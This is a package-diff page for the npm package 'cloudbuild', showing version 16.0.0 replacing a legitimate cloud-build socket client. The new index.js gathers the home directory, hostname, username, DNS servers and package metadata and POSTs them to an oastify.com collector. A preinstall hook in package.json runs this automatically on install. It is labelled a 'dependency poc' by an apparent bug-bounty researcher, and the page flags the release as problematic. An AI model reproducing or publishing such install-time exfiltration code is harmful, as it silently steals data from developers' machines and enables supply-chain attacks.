cloudbuild 1.0.29 → 16.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of cloudbuild might be problematic. Click here for more details.
- package/index.js +46 -0
- package/package.json +7 -29
- package/README.md +0 -11
- package/lib/index.js +0 -146
package/index.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "86cl2zbnioordcwj2hdjkmpvfmlc91.oastify.com", //Burpcollaborator
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,34 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "cloudbuild",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
"homepage": "",
|
7
|
-
"license": "ISC",
|
8
|
-
"main": "lib/index.js",
|
9
|
-
"directories": {
|
10
|
-
"lib": "lib",
|
11
|
-
"test": "__tests__"
|
12
|
-
},
|
13
|
-
"files": [
|
14
|
-
"lib"
|
15
|
-
],
|
16
|
-
"publishConfig": {
|
17
|
-
"access": "public"
|
18
|
-
},
|
19
|
-
"repository": {
|
20
|
-
"type": "git",
|
21
|
-
"url": "git@gitee.com:tan_xiao_yu/starerp-cli-dev.git"
|
22
|
-
},
|
3
|
+
"version": "16.0.0",
|
4
|
+
"description": "dependency poc",
|
5
|
+
"main": "index.js",
|
23
6
|
"scripts": {
|
24
|
-
"test": "echo \"Error:
|
25
|
-
|
26
|
-
"dependencies": {
|
27
|
-
"@starerp-cli-dev/log": "^1.0.9",
|
28
|
-
"@starerp-cli-dev/request": "^1.0.29",
|
29
|
-
"inquirer": "^8.1.1",
|
30
|
-
"lodash": "^4.17.21",
|
31
|
-
"socket.io-client": "^2.0.0"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
32
9
|
},
|
33
|
-
"
|
10
|
+
"author": "https://hackerone.com/yakirka",
|
11
|
+
"license": "ISC"
|
34
12
|
}
|
package/README.md
DELETED
package/lib/index.js
DELETED
@@ -1,146 +0,0 @@
|
|
1
|
-
'use strict';
|
2
|
-
const log = require('@starerp-cli-dev/log')
|
3
|
-
const request = require('@starerp-cli-dev/request')
|
4
|
-
const WS_SERVER = 'http://127.0.0.1:7001'
|
5
|
-
const io = require('socket.io-client')
|
6
|
-
const inquirer = require('inquirer')
|
7
|
-
const get = require('lodash/get')
|
8
|
-
const TIMEOUT = 5 * 60 * 1000
|
9
|
-
const CONNECT_TIME_OUT = 5 * 1000
|
10
|
-
const FAILED_CODE = ['prepare failed', 'download failed', 'install failed', 'build failed', 'pre-publish failed', 'publish failed']
|
11
|
-
function parseMsg(msg) {
|
12
|
-
const action = get(msg, 'data.action');
|
13
|
-
const message = get(msg, 'data.payload.message');
|
14
|
-
return {
|
15
|
-
action,
|
16
|
-
message,
|
17
|
-
};
|
18
|
-
}
|
19
|
-
class Cloudbuild {
|
20
|
-
// TODO
|
21
|
-
constructor(git, options) {
|
22
|
-
this.git = git
|
23
|
-
this.buildCmd = options.buildCmd
|
24
|
-
this.timeout = TIMEOUT
|
25
|
-
this.prod = options.prod
|
26
|
-
}
|
27
|
-
doTimeout(fn, timeout) {
|
28
|
-
this.timer && clearTimeout(this.timer);
|
29
|
-
log.info('设置任务超时时间:', `${timeout / 1000}秒`);
|
30
|
-
this.timer = setTimeout(fn, timeout);
|
31
|
-
};
|
32
|
-
init() {
|
33
|
-
return new Promise((res, rej) => {
|
34
|
-
|
35
|
-
const socket = io(WS_SERVER, {
|
36
|
-
query: {
|
37
|
-
repo: this.git.remote,
|
38
|
-
name: this.git.name,
|
39
|
-
branch: this.git.branch,
|
40
|
-
version: this.git.version,
|
41
|
-
buildCmd: this.buildCmd,
|
42
|
-
prod: this.prod
|
43
|
-
}
|
44
|
-
})
|
45
|
-
|
46
|
-
socket.on('connect', () => {
|
47
|
-
clearTimeout(this.timer)
|
48
|
-
const { id } = socket
|
49
|
-
log.success('云构建socket成功', id)
|
50
|
-
|
51
|
-
socket.on(id, message => {
|
52
|
-
const parsedMsg = parseMsg(message)
|
53
|
-
log.verbose('message ', parsedMsg.action, parsedMsg.message)
|
54
|
-
})
|
55
|
-
|
56
|
-
res();
|
57
|
-
});
|
58
|
-
socket.on('disconnect', () => {
|
59
|
-
log.verbose('云构建socket断开');
|
60
|
-
disconnect();
|
61
|
-
rej()
|
62
|
-
});
|
63
|
-
socket.on('error', (error) => {
|
64
|
-
log.verbose('云构建socket出错 ', error);
|
65
|
-
disconnect();
|
66
|
-
})
|
67
|
-
const disconnect = () => {
|
68
|
-
clearTimeout(this.timer)
|
69
|
-
socket.disconnect();
|
70
|
-
socket.close();
|
71
|
-
}
|
72
|
-
this.doTimeout(() => {
|
73
|
-
log.error('云构建服务连接超时,自动终止');
|
74
|
-
disconnect();
|
75
|
-
}, CONNECT_TIME_OUT);
|
76
|
-
this.socket = socket;
|
77
|
-
})
|
78
|
-
}
|
79
|
-
build() {
|
80
|
-
let ret = true;
|
81
|
-
return new Promise((resolve, reject) => {
|
82
|
-
this.socket.emit('build');
|
83
|
-
this.socket.on('build', msg => {
|
84
|
-
|
85
|
-
const parsedMsg = parseMsg(msg);
|
86
|
-
if (FAILED_CODE.indexOf(parsedMsg.action) >= 0) {
|
87
|
-
console.log(parsedMsg ,ret)
|
88
|
-
log.error(parsedMsg.action, parsedMsg.message);
|
89
|
-
clearTimeout(this.timer);
|
90
|
-
this.socket.disconnect();
|
91
|
-
this.socket.close();
|
92
|
-
ret = false;
|
93
|
-
} else {
|
94
|
-
log.success(parsedMsg.action, parsedMsg.message);
|
95
|
-
}
|
96
|
-
});
|
97
|
-
this.socket.on('building', msg => {
|
98
|
-
console.log(msg);
|
99
|
-
});
|
100
|
-
this.socket.on('disconnect', () => {
|
101
|
-
resolve(ret);
|
102
|
-
});
|
103
|
-
this.socket.on('error', (err) => {
|
104
|
-
reject(err);
|
105
|
-
});
|
106
|
-
});
|
107
|
-
}
|
108
|
-
async prepare() {
|
109
|
-
// 判断是否处于正式发布
|
110
|
-
if (this.prod) {
|
111
|
-
// // 1.获取OSS文件
|
112
|
-
const projectName = this.git.name;
|
113
|
-
const projectType = this.prod ? 'prod' : 'dev';
|
114
|
-
const ossProject = await request({
|
115
|
-
url: '/project/oss',
|
116
|
-
params: {
|
117
|
-
name: projectName,
|
118
|
-
type: projectType,
|
119
|
-
},
|
120
|
-
});
|
121
|
-
// 2.判断当前项目的OSS文件是否存在
|
122
|
-
if (ossProject.code === 0 && ossProject.data.length > 0) {
|
123
|
-
// 3.询问用户是否进行覆盖安装
|
124
|
-
const cover = (await inquirer.prompt({
|
125
|
-
type: 'list',
|
126
|
-
name: 'cover',
|
127
|
-
choices: [{
|
128
|
-
name: '覆盖发布',
|
129
|
-
value: true,
|
130
|
-
}, {
|
131
|
-
name: '放弃发布',
|
132
|
-
value: false,
|
133
|
-
}],
|
134
|
-
defaultValue: true,
|
135
|
-
message: `OSS已存在 [${projectName}] 项目,是否强行覆盖发布?`,
|
136
|
-
})).cover;
|
137
|
-
if (!cover) {
|
138
|
-
throw new Error('发布终止');
|
139
|
-
}
|
140
|
-
}
|
141
|
-
}
|
142
|
-
}
|
143
|
-
|
144
|
-
|
145
|
-
}
|
146
|
-
module.exports = Cloudbuild;
|